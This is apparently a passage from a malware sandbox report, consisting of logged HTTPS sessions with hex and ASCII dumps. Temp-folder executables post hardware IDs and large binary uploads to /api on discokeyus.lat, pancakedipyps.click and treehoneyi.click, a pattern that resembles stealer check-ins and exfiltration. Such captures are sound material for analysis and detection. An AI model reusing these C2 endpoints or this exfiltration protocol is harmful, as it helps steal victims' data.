2024-12-20 16:43:49 UTC	1369	IN	Data Raw: 75 74 44 63 48 6b 53 2f 38 66 53 34 57 6d 70 6b 77 62 67 37 73 79 31 47 6b 4d 75 63 75 54 50 4f 76 2b 6f 67 65 71 4e 63 37 2f 43 6e 2b 59 6b 33 59 61 4b 35 30 4f 46 2f 50 33 78 39 6c 4b 66 48 62 52 62 6c 31 2f 32 5a 59 75 36 58 7a 79 30 66 73 33 69 62 32 4c 66 78 6e 53 4a 63 69 34 48 55 6d 45 70 4b 51 4d 6e 73 49 37 38 31 63 6f 44 37 79 4b 45 7a 2f 72 76 75 44 46 4b 61 64 5a 37 38 6c 37 43 38 66 32 42 50 6a 66 43 41 63 67 64 38 6e 4a 78 6d 68 78 31 76 76 62 61 41 6b 54 2f 75 74 38 34 63 55 70 4e 77 6c 38 53 58 78 5a 6b 2b 51 4e 4f 39 33 4b 42 36 5a 6b 44 6c 74 42 65 54 45 55 4b 73 7a 37 32 67 50 75 36 58 6e 79 30 66 73 38 67 37 4b 59 4e 56 56 42 34 64 6f 39 7a 4d 6e 45 39 66 48 65 47 55 44 37 63 68 59 71 54 7a 73 49 6b 6a 77 72 76 53 50 45 36 58 59 4c 2f Data Ascii: utDcHkS/8fS4Wmpkwbg7sy1GkMucuTPOv+ogeqNc7/Cn+Yk3YaK50OF/P3x9lKfHbRbl1/2ZYu6Xzy0fs3ib2LfxnSJci4HUmEpKQMnsI781coD7yKEz/rvuDFKadZ78l7C8f2BPjfCAcgd8nJxmhx1vvbaAkT/ut84cUpNwl8SXxZk+QNO93KB6ZkDltBeTEUKsz72gPu6Xny0fs8g7KYNVVB4do9zMnE9fHeGUD7chYqTzsIkjwrvSPE6XYL/
2024-12-20 16:43:49 UTC	905	IN	Data Raw: 56 5a 38 76 2f 48 30 74 45 4a 2b 58 4d 57 67 45 35 4d 31 52 6f 7a 2f 68 4c 30 2f 31 71 72 2f 46 58 36 76 46 61 61 64 69 31 58 39 63 69 6a 44 6a 55 69 30 51 31 34 42 32 63 45 44 6d 7a 42 66 33 64 65 6b 36 52 66 61 77 39 6f 77 52 6f 39 34 37 2f 69 2f 2f 66 55 43 58 49 75 6c 2f 4a 68 43 52 6e 6a 31 6a 44 4f 62 46 58 4b 41 35 6f 47 59 42 2f 4c 71 2f 30 31 2b 43 31 6a 72 6f 49 66 70 6b 55 59 4e 6d 38 54 30 35 58 35 43 54 65 44 46 41 34 73 74 63 71 7a 58 73 4b 45 58 32 6f 75 32 45 47 4b 76 55 49 75 30 6f 38 32 68 4d 6b 43 33 68 64 54 49 54 6d 59 30 39 65 78 4b 68 6a 68 65 6f 4c 61 42 77 41 63 32 6c 37 35 73 63 37 75 77 2f 2f 44 54 2f 59 6b 76 59 4f 61 42 71 59 42 69 62 33 32 41 70 42 75 37 4a 56 4b 41 30 36 53 52 4d 2f 71 76 36 69 68 6d 6f 31 79 50 2f 4a 50 4a Data Ascii: VZ8v/H0tEJ+XMWgE5M1Roz/hL0/1qr/FX6vFaadi1X9cijDjUi0Q14B2cEDmzBf3dek6Rfaw9owRo947/i//fUCXIul/JhCRnj1jDObFXKA5oGYB/Lq/01+C1jroIfpkUYNm8T05X5CTeDFA4stcqzXsKEX2ou2EGKvUIu0o82hMkC3hdTITmY09exKhjheoLaBwAc2l75sc7uw//DT/YkvYOaBqYBib32ApBu7JVKA06SRM/qv6ihmo1yP/JPJ
2024-12-20 16:43:49 UTC	1369	IN	Data Raw: 33 34 39 39 0d 0a 6d 46 5a 4f 63 4d 57 6f 48 36 4d 5a 63 72 44 2f 76 4c 30 66 2f 6f 76 53 4d 45 61 72 59 49 76 5a 69 75 69 39 41 67 47 61 32 4d 77 59 38 68 59 30 4b 5a 77 50 36 67 45 6a 68 4c 4b 41 76 54 62 76 36 76 34 41 58 6f 38 38 73 39 69 72 77 5a 6b 65 63 4c 4f 4e 30 49 42 71 61 6d 6a 78 6e 42 4f 62 41 57 36 41 79 36 43 64 46 2b 36 32 2f 78 56 2b 72 78 57 6d 6e 59 74 52 6b 55 62 6b 6f 35 57 46 67 41 4e 6d 47 65 47 34 4d 6f 5a 67 58 6f 54 7a 68 49 45 2f 33 71 76 75 5a 48 36 66 55 4a 76 34 74 39 47 78 47 6b 69 37 38 64 53 41 55 6e 35 67 77 62 51 37 7a 77 56 6a 76 65 36 41 76 57 62 76 36 76 37 6f 4a 71 39 6f 6d 76 51 76 7a 64 45 61 53 4a 65 56 2f 59 41 44 5a 68 6e 68 75 44 4b 47 59 46 36 49 35 37 53 78 54 39 36 4c 2f 67 68 69 6d 7a 79 62 77 4c 2f 64 76 Data Ascii: 3499mFZOcMWoH6MZcrD/vL0f/ovSMEarYIvZiui9AgGa2MwY8hY0KZwP6gEjhLKAvTbv6v4AXo88s9irwZkecLON0IBqamjxnBObAW6Ay6CdF+62/xV+rxWmnYtRkUbko5WFgANmGeG4MoZgXoTzhIE/3qvuZH6fUJv4t9GxGki78dSAUn5gwbQ7zwVjve6AvWbv6v7oJq9omvQvzdEaSJeV/YADZhnhuDKGYF6I57SxT96L/ghimzybwL/dv
2024-12-20 16:43:49 UTC	1369	IN	Data Raw: 78 79 4b 68 4f 57 6d 44 39 69 45 75 72 53 58 4b 63 32 37 69 42 49 2b 36 7a 2f 69 68 4b 73 6e 57 65 2f 4a 65 77 76 48 39 67 44 7a 57 51 32 46 64 57 38 4c 33 38 4b 35 73 78 42 70 44 54 6a 50 6b 7a 72 34 72 48 4c 44 71 76 4d 61 61 63 30 35 48 68 41 68 32 6a 33 4d 79 63 54 31 38 64 34 59 67 2f 76 7a 56 79 72 50 4f 55 67 51 76 36 6e 39 59 63 54 72 64 55 67 39 53 66 78 61 55 32 62 4b 4f 46 79 4c 42 75 65 6b 54 45 70 54 71 48 48 54 2b 39 74 6f 42 35 52 2f 4c 72 79 6d 31 32 65 33 6a 6a 75 4e 2f 6c 2f 51 64 6f 4a 37 58 38 6a 47 70 43 50 65 48 5a 4f 2b 49 42 51 6f 33 57 34 61 45 48 2f 72 76 79 4d 45 61 50 51 4a 76 67 70 2b 32 56 4a 69 69 6e 72 65 79 77 58 6d 6f 30 79 59 78 4c 6f 79 56 71 68 50 66 49 72 41 62 58 69 2b 4a 4e 66 39 4a 30 62 39 53 48 34 65 55 71 58 5a Data Ascii: xyKhOWmD9iEurSXKc27iBI+6z/ihKsnWe/JewvH9gDzWQ2FdW8L38K5sxBpDTjPkzr4rHLDqvMaac05HhAh2j3MycT18d4Yg/vzVyrPOUgQv6n9YcTrdUg9SfxaU2bKOFyLBuekTEpTqHHT+9toB5R/Lrym12e3jjuN/l/QdoJ7X8jGpCPeHZO+IBQo3W4aEH/rvyMEaPQJvgp+2VJiinreywXmo0yYxLoyVqhPfIrAbXi+JNf9J0b9SH4eUqXZ
2024-12-20 16:43:49 UTC	1369	IN	Data Raw: 68 6d 5a 67 73 62 67 37 6e 77 42 66 68 64 65 39 6f 47 63 4c 69 74 38 73 67 34 70 30 78 76 33 71 30 57 6b 53 57 4b 4f 6c 6c 4d 56 4b 30 69 43 35 6a 47 36 50 6d 55 4c 34 38 39 69 56 54 75 2b 79 2f 6a 56 2f 30 6a 57 65 2f 4a 75 55 76 48 38 68 30 74 53 5a 7a 53 4d 66 4e 4a 79 63 5a 6f 64 59 58 39 32 65 75 61 46 4f 37 2b 72 2f 4d 48 4c 37 50 4c 2f 77 30 39 79 68 35 70 67 62 6c 5a 53 45 53 6e 4a 4d 47 56 78 58 69 7a 6c 6d 6f 49 2f 46 6f 44 37 75 74 76 39 4d 6d 37 4a 56 70 77 47 79 30 64 77 66 41 5a 74 74 77 4c 68 47 51 69 53 6b 6b 49 4f 72 57 56 71 49 2b 37 47 70 41 39 72 4c 34 79 31 48 73 32 32 6d 6e 63 72 6f 76 51 34 6c 6d 74 69 4e 79 52 4d 4c 4d 62 7a 6c 53 2f 6f 35 4f 37 79 4f 67 63 42 4f 31 34 75 33 4c 52 2b 79 61 4b 75 30 77 38 6d 78 52 6d 32 48 51 54 51 Data Ascii: hmZgsbg7nwBfhde9oGcLit8sg4p0xv3q0WkSWKOllMVK0iC5jG6PmUL489iVTu+y/jV/0jWe/JuUvH8h0tSZzSMfNJycZodYX92euaFO7+r/MHL7PL/w09yh5pgblZSESnJMGVxXizlmoI/FoD7utv9Mm7JVpwGy0dwfAZttwLhGQiSkkIOrWVqI+7GpA9rL4y1Hs22mncrovQ4lmtiNyRMLMbzlS/o5O7yOgcBO14u3LR+yaKu0w8mxRm2HQTQ
2024-12-20 16:43:49 UTC	1369	IN	Data Raw: 59 44 74 4f 6f 63 52 47 37 32 32 77 65 68 71 75 38 61 6a 62 54 62 4f 54 4d 4c 38 30 74 44 63 56 31 6d 62 38 4d 33 68 66 30 4a 77 71 65 77 62 69 31 6c 54 6f 43 39 34 4f 51 76 79 6b 2f 49 55 49 76 5a 38 47 2f 43 6e 34 59 30 43 4f 47 4e 42 6d 49 78 47 5a 6d 43 35 34 51 4b 2b 41 57 4f 39 74 32 57 68 51 38 61 57 7a 77 31 4f 39 7a 69 66 30 4e 50 4d 76 65 4e 5a 6d 39 6a 4e 34 58 36 4b 63 4e 6d 63 48 39 39 45 61 69 54 62 6e 4c 6b 4c 31 74 65 37 4c 55 65 7a 62 61 61 64 77 75 69 39 44 69 57 61 32 49 33 4a 45 77 73 78 76 4f 56 4c 2b 6a 6b 37 76 49 36 42 77 45 72 58 69 37 63 74 48 37 4a 6f 6e 38 69 50 33 59 55 53 4b 4e 4f 68 77 4e 68 7a 51 6f 51 5a 4d 44 65 7a 46 57 61 67 4c 33 67 6c 4c 36 36 2f 77 6a 43 47 53 36 6a 6a 34 4d 72 5a 4a 52 49 34 6c 72 6a 31 67 42 39 66 Data Ascii: YDtOocRG722wehqu8ajbTbOTML80tDcV1mb8M3hf0Jwqewbi1lToC94OQvyk/IUIvZ8G/Cn4Y0COGNBmIxGZmC54QK+AWO9t2WhQ8aWzw1O9zif0NPMveNZm9jN4X6KcNmcH99EaiTbnLkL1te7LUezbaadwui9DiWa2I3JEwsxvOVL+jk7vI6BwErXi7ctH7Jon8iP3YUSKNOhwNhzQoQZMDezFWagL3glL66/wjCGS6jj4MrZJRI4lrj1gB9f

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	49783	172.67.197.170	443	5544	C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 16:43:50 UTC	275	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=Y33KTAXTTW6GZB User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1220 Host: discokeyus.lat
2024-12-20 16:43:50 UTC	1220	OUT	Data Raw: 2d 2d 59 33 33 4b 54 41 58 54 54 57 36 47 5a 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 44 38 39 44 34 33 36 43 38 33 43 41 30 36 37 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 59 33 33 4b 54 41 58 54 54 57 36 47 5a 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 59 33 33 4b 54 41 58 54 54 57 36 47 5a 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 76 62 41 72 5a 2d 2d 0d 0a 2d 2d 59 33 33 4b 54 41 58 54 54 57 36 47 5a Data Ascii: --Y33KTAXTTW6GZBContent-Disposition: form-data; name="hwid"DD89D436C83CA067AC8923850305D13E--Y33KTAXTTW6GZBContent-Disposition: form-data; name="pid"1--Y33KTAXTTW6GZBContent-Disposition: form-data; name="lid"PvbArZ----Y33KTAXTTW6GZ
2024-12-20 16:43:50 UTC	1128	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 16:43:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=1cb13crusvksc3vgtl7grs8j8t; expires=Tue, 15 Apr 2025 10:30:29 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gPRm2R%2BvNlS5dUilfMylBKme8OG%2BwOZdd6wzQHVqDgHFRd7S5uDJTdgAzn1iNjgZNYJHpN9ox%2FUI52b03Q9eMrJgNSkhHY5%2BsXezny90X9lvy0r3lMGy7FUbWWll5YFqcw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f5117f7597542c9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1768&min_rtt=1755&rtt_var=685&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2831&recv_bytes=2131&delivery_rate=1566523&cwnd=127&unsent_bytes=0&cid=7dd3edcfef6a7f8c&ts=802&x=0"
2024-12-20 16:43:50 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-20 16:43:50 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	49792	104.21.23.76	443	7532	C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 16:43:52 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=K71JV69W4DHCVH7O User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12846 Host: pancakedipyps.click
2024-12-20 16:43:52 UTC	12846	OUT	Data Raw: 2d 2d 4b 37 31 4a 56 36 39 57 34 44 48 43 56 48 37 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 44 38 39 44 34 33 36 43 38 33 43 41 30 36 37 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 4b 37 31 4a 56 36 39 57 34 44 48 43 56 48 37 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4b 37 31 4a 56 36 39 57 34 44 48 43 56 48 37 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 46 41 54 45 39 39 2d 2d 74 65 73 74 0d 0a 2d 2d 4b 37 31 Data Ascii: --K71JV69W4DHCVH7OContent-Disposition: form-data; name="hwid"DD89D436C83CA067AC8923850305D13E--K71JV69W4DHCVH7OContent-Disposition: form-data; name="pid"2--K71JV69W4DHCVH7OContent-Disposition: form-data; name="lid"FATE99--test--K71
2024-12-20 16:43:53 UTC	1131	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 16:43:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=0brc6bo6nb01to3jpn2dm2bjef; expires=Tue, 15 Apr 2025 10:30:32 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cp21WjhZxLYntKa%2Bt4U63kRmG44OCoxNCRQb2cZ445MCFwpJrIJ%2BOPIuHJ1qjz1fY%2B3AhqNIFZWq3HbhAigCrzN1banZ42mbH6G3Su0jsP%2FUlY7CnLeZ7UIhxnBrvoY5fgoYeZTs"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f5118072ba84364-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2175&min_rtt=2159&rtt_var=841&sent=9&recv=17&lost=0&retrans=0&sent_bytes=2847&recv_bytes=13787&delivery_rate=1276781&cwnd=206&unsent_bytes=0&cid=5981c83231d994f4&ts=1015&x=0"
2024-12-20 16:43:53 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-20 16:43:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	49795	104.21.91.209	443	6268	C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 16:43:53 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: treehoneyi.click
2024-12-20 16:43:53 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-20 16:43:54 UTC	1118	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 16:43:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=tffaqo52mp07ldprabqmmpg507; expires=Tue, 15 Apr 2025 10:30:32 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RrLeaXf0ae2rR1uOleD1bK9Jtewh5k5e5FGG62xAEc0VdQlUVYycEW2JMSuYXyMxKGuUFmdPOCLSFNa0cAIypxcRKIGjmxoVXFxrnqqqbs2knoumkuGq%2F7Qwc%2B0RSCdS3PVd"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f51180bfc5d41d3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1743&min_rtt=1733&rtt_var=670&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2840&recv_bytes=907&delivery_rate=1607929&cwnd=32&unsent_bytes=0&cid=ae7e06ca0299ce83&ts=776&x=0"
2024-12-20 16:43:54 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-20 16:43:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	49796	172.67.197.170	443	5544	C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 16:43:53 UTC	271	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=1KZP4ZSH User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 550659 Host: discokeyus.lat
2024-12-20 16:43:53 UTC	15331	OUT	Data Raw: 2d 2d 31 4b 5a 50 34 5a 53 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 44 38 39 44 34 33 36 43 38 33 43 41 30 36 37 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 31 4b 5a 50 34 5a 53 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 31 4b 5a 50 34 5a 53 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 76 62 41 72 5a 2d 2d 0d 0a 2d 2d 31 4b 5a 50 34 5a 53 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 Data Ascii: --1KZP4ZSHContent-Disposition: form-data; name="hwid"DD89D436C83CA067AC8923850305D13E--1KZP4ZSHContent-Disposition: form-data; name="pid"1--1KZP4ZSHContent-Disposition: form-data; name="lid"PvbArZ----1KZP4ZSHContent-Disposition:
2024-12-20 16:43:53 UTC	15331	OUT	Data Raw: 2d 28 fd 07 d0 15 d9 3f d7 81 c8 e6 7c 69 1a 2a e9 43 d3 4a 00 35 92 df aa 17 a6 9e 14 e0 7a d6 c2 96 6b 1a f4 64 34 37 7a fc bd 14 43 8d 95 13 fa 15 ef 22 04 51 7f 01 8c 7e d6 10 06 82 47 06 76 f7 2b d3 b2 9c 3a 6d d1 8f 2a 7f 44 2d ef f3 97 bc 34 2d 03 1c 37 2e 9c ea b8 5a d9 73 71 ef 50 68 ba 72 87 41 3b 1c e4 e7 fe ce f7 f3 b4 ea f9 ca 22 af 8e c3 81 ef 7e 49 e7 03 7f 2d 3b 0d fc 0e d1 73 7e 28 26 91 75 2f 08 b1 8e 34 74 4d 0e 56 d4 c2 cd fe da d6 92 20 f7 5d 2f ab 22 ac 2d d5 0d 39 63 57 21 ba 8e 0c d7 f6 18 62 49 e5 df 0a b2 9f 9a 03 ab 28 1f 2c 7c e5 1d ab 5c 1f 94 7a a0 3b 77 93 98 95 2f b8 e9 f2 2b f9 5e 3b ff 1e 95 7a 80 aa e8 7e a2 8f fe b2 bb aa 6a d8 f5 2a ea cd 9f 35 5d 47 0b 36 0e 8d 46 cc d8 23 15 2d 6c be e2 67 2e 13 c6 b7 4d d8 d9 74 a7 Data Ascii: -(?\|iCJ5zkd47zC"Q~Gv+:mD-4-7.ZsqPhrA;"~I-;s~(&u/4tMV ]/"-9cW!bI(,\|\z;w/+^;z~j*5]G6F#-lg.Mt
2024-12-20 16:43:53 UTC	15331	OUT	Data Raw: 1c 24 ad 20 5e ef 13 19 19 e3 47 41 9a 1f a6 10 c0 03 6f c8 20 d7 4e 92 7d 0d cd f2 95 b9 05 32 2d 58 52 0b 6e 5a b2 08 b7 b5 a1 6e 0c a3 56 ee e9 41 2e b0 55 7a 85 c4 e6 25 80 f8 3f 71 40 11 43 c3 c4 1d 5c 2c 2f 1e b4 d4 45 ba 08 56 62 e0 77 bd e1 10 24 be 21 08 5a a0 f6 5f 34 91 0e ee 83 2f b4 fd d8 ba 5b 84 1f 12 5f 83 26 44 56 5e 23 9c 66 54 26 99 19 9c d2 65 9f 6f 65 a5 54 15 ec b4 9b 61 39 be 75 7d 54 d2 6b db 5d 4c 0a 26 b9 7d 1e 3c 85 fa 49 f6 d9 d6 0d f8 03 31 5e 72 ab 49 c0 ca 15 75 c7 ed ee 7c 6b b9 6b 1f 53 8f 17 7f d8 b4 d4 cc 75 fb 9f 5f ec 42 de b5 c5 ab 0b 9b 35 f1 8d 3e 99 db 6b d8 be 9a fb 50 32 f2 c0 44 5b 35 89 66 fc 30 22 d7 2a 32 db a4 ba e2 08 77 3c 67 d9 5f 3d bd da 59 3b 8d 65 10 e5 8b 8c e1 52 b5 ce 8a 53 e6 ae fc 46 ed 77 33 18 Data Ascii: $ ^GAo N}2-XRnZnVA.Uz%?q@C\,/EVbw$!Z_4/[_&DV^#fT&eoeTa9u}Tk]L&}<I1^rIu\|kkSu_B5>kP2D[5f0"*2w<g_=Y;eRSFw3
2024-12-20 16:43:53 UTC	15331	OUT	Data Raw: 49 cd f5 e3 aa a9 79 a7 68 c9 8a 62 8a 2b cc 90 cf fc 56 0f 69 96 17 22 ce 26 6d d6 b7 ba 62 12 73 63 5b 0c b4 16 af 5c ff 5c 22 33 62 84 09 8b 0c 6b bf e5 28 04 cb 66 e7 e1 a8 a4 dd a4 fb 9a 18 f7 25 d5 39 ef 2b 64 e9 30 08 35 1a df aa 0b b8 e7 ce 57 51 9e 44 2a f4 b5 a3 04 42 72 8c 0d a5 e4 18 35 94 9e cb 4f 2b 5b 35 0d f9 a9 89 1e de 4e 88 e2 85 23 c3 30 70 b1 85 21 3d 2e 3a f8 fe f2 35 3d b5 ec 8c b2 ca 41 fc a6 57 ac 9f c8 bd 3d a9 9b c7 88 20 e0 a7 bb 38 26 32 88 ff 62 8d 72 d7 62 f5 bd f0 e2 84 6f 61 b4 9b d5 e5 13 d3 36 43 31 bf 12 5b 0c 47 e0 26 69 bc 57 8c 01 26 00 5c 25 34 28 64 bd f7 95 6e 1d 5a ff e8 ff 9f 81 64 59 c6 dc 94 10 b8 8d 5f bb 1b d4 b2 d5 f8 ad 64 96 fe dd 3b 37 fb 56 b5 e7 ac ec b4 cd e5 de ed f0 e9 18 4d ff 1c c3 4d 75 d5 ca d4 Data Ascii: Iyhb+Vi"&mbsc[\\"3bk(f%9+d05WQD*Br5O+[5N#0p!=.:5=AW= 8&2brboa6C1[G&iW&\%4(dnZdY_d;7VMMu
2024-12-20 16:43:53 UTC	15331	OUT	Data Raw: aa de 4d d2 42 bd 1f 07 be 33 55 6f c4 13 e3 e3 98 71 ca d5 5a ba 59 79 43 16 ce 0d b7 f9 31 de 83 da 2b 2a 94 b2 38 32 ff 03 c3 70 bd 58 f6 3b 3d 2b e7 74 2d ec 2e 91 9b a1 e4 d6 a8 51 9e 8d 43 0f 85 10 f5 7e 0a 0e 25 a0 a0 35 b0 2d b4 38 f4 74 de b2 9f ee 4b b8 b2 f9 e5 34 bf 2e 4a 19 5c ba a7 d6 ea 9d fa 45 4e 84 7d a0 2f 42 24 f5 e3 f7 7f 66 18 07 8b a1 46 66 ea e6 95 d9 49 6b db 8c a5 2d fc 8a 76 7b ab ee 26 fb be b1 35 d7 8b b9 b7 e8 b6 bb 1a 40 78 56 fd e0 fd a0 ba 9b dc b3 5e 57 26 fe 91 0c 46 e7 ea 12 b9 b7 2e be 26 af 3e 05 f1 f3 2a a3 bf 5f 0e 5b 4a 23 83 de de a5 40 f4 b7 78 2c 6f 74 c5 0c d5 39 ed e9 91 33 6b ce 0e e1 b6 17 16 9f 94 fd fb fa 86 c3 58 72 60 b0 a5 4b 35 c6 cf 6b e6 c0 bc b5 5b 83 3f 32 c7 86 e4 5a d5 f6 65 cd 56 c5 f7 cd 91 1f Data Ascii: MB3UoqZYyC1+82pX;=+t-.QC~%5-8tK4.J\EN}/B$fFfIk-v{&5@xV^W&F.&>_[J#@x,ot93kXr`K5k[?2ZeV
2024-12-20 16:43:53 UTC	15331	OUT	Data Raw: 5f 32 d4 11 4b 0b db ad a5 ab d3 a2 42 4a 4d c9 62 3e d8 d2 42 a9 0d 67 11 f2 6b 92 d5 d8 b6 91 ee 2e 35 74 f8 85 3e 3b 06 05 cf e0 cf a6 00 c6 15 c2 c8 93 94 72 0d 74 04 12 60 14 b8 4c 27 b4 c5 b5 3d 78 f1 8b df ca d2 a5 9c 00 26 36 5e 5a 93 5c 0f 84 3e bf 2c 33 89 e9 d8 37 48 42 44 6f 03 0b 0f 4a 5a 34 63 a7 0e 55 df 73 a5 1a b6 2c b6 ff e0 8f 05 96 63 6a 71 b4 38 b2 d7 43 ed 35 66 5f fb 0b 7e 5d b4 77 b2 7a 94 fc 7d f4 a7 57 e2 62 83 cc cd 60 fe a0 c8 70 a5 b9 5c 10 0f 5b 8d b1 27 78 28 da 5b 4f 2a 3c f3 a3 e9 5a fb 9a 32 bd c5 81 2f 45 0f cc 14 fc 14 6d b3 64 01 b4 38 ef a8 66 07 29 4b 03 b1 7d 07 40 c7 21 fe a8 10 df 85 a8 be a0 74 d6 d9 5e dd 26 96 2d fe e2 f3 f0 0b 3f be 1d 57 70 35 92 19 4a ae 0b 2a e1 12 18 af 1a 72 25 1e 5b fb 40 5a 5b 52 67 0a Data Ascii: 